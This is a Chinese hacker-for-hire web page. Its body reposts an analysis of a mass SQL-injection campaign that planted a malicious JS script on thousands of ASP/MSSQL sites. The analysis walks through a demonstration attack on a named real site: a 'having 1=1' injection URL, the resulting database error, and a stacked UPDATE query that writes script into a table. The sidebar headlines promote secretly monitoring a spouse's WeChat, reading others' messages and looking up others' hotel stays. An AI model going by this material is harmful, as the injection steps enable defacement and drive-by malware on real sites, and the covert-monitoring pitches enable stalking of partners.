哪里能安全雇佣黑客?全国最大诚信黑客追款

访客2个月前QQ接单黑客29
一. 首先在网上找到了这次攻击的新闻报道 http://www.nsfocus.net/news/6697 http://hi.baidu.com/secway/blog/item/e80d8efa4bf73ddab48f31a3.html 通过GOOGLE搜索到了相关被黑的页面 http://www.google.cn/search?hl=zh-CN&q=site:trendmicro.com www.2117966.net f**kjp.js&btnG=Google 鎼滅储&meta=&aq=f 趋势科技的页面被插入过http://www.2117966.net/f**kjp.js相关的JS挂马。二. 直接查找这个JS相关的信息 http://www.google.cn/search?complete=1&hl=zh-CN&newwindow=1&q=www.2117966.net f**kjp.js&meta=&aq=f 发现了12,500项符合的结果,这些返回的结果信息都是当前页面被插入了JS挂马。 通过分析发现被黑的页面都有如下特征: 1.被修改页面的网站都是ASP MSSQL的架构。 2.被修改的页面都存在SQL注入漏洞。三. 取了其中一个被挂马页面做了SQL注入挂马的模拟攻击: 1. http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162 这个链接存在明显的SQL注入,对person参数注入语句having 1=1,将暴出当前页面注入点的表名为coordinator,字段名ShCoordinatorSurame。 http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162 having 1=1 —————————Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘coordinator.ShCoordinatorSurame’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp, line 20—————————- 2. 修改暴出的当前页面的表名,字段名内容为插入JS的代码来实现挂马 http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162;update coordinator set ShCoordinatorSurame=’’ where 1=1–– 修改coordinator 表 ShCoordinatorSurame 字段内容为,同时设一个1=1为真的逻辑条件就可以修改当前页面查询数据的内容. 就可以实现在有SQL注入点的页面直接挂马。四.总结. 这次大规模攻击的流程应该是自动化的: 1.通过先进的扫描技术批量收集到几万网站的SQL注入漏洞。 2.针对漏洞攻击,进行自动化的SQL注入挂马。 现今虽然SQL注入漏洞已经很老了,但是这次黑客在一天内同时对数万网站攻击挂马的技术却是很惊人的,连趋势这样的安全公司也未能幸免。

相关文章

咋样偷偷监控老公的微信,怎么监控老公微信不被发现

如今u盘装系统已经是非常方便的装机方法,只需要一个小小的u盘,就可以为笔记本电脑与台式电脑一起安装,但近日有朋友发现在为联想e430c笔记本使用u盘装系统时,发现无法使用u盘启动盘,接下来就让小编为大...

同步偷偷接收别人微信的方法有哪些

其实很简单的的,说到原理,就一个:就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了。下面我介绍5种方法,我一个一个介绍方法一:这个就是最简单的...

怎样同步接收老婆或老公微信?有什么简单快速的方法

有些朋友电脑没有光驱,想要使用U盘重装,开机时却发现Bios设置里没有U盘启动项,着实让人着急;还有些朋友电脑的主板比较旧了,不支持U盘启动,碰到这些情况该怎么办呢?不用担心,本篇文章就适用于没有装光...

入住宾馆记录多久消失(查别人住酒店信息

普通兼容机都是清一下RTC或者拔电池就可以清除密码。  Dell电脑上不管是否有RTC,都会有一个PSWD的跳线,就是密码(password)跳线,清一下RTC或者拔电池是无法解除密码的。如果把PSW...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。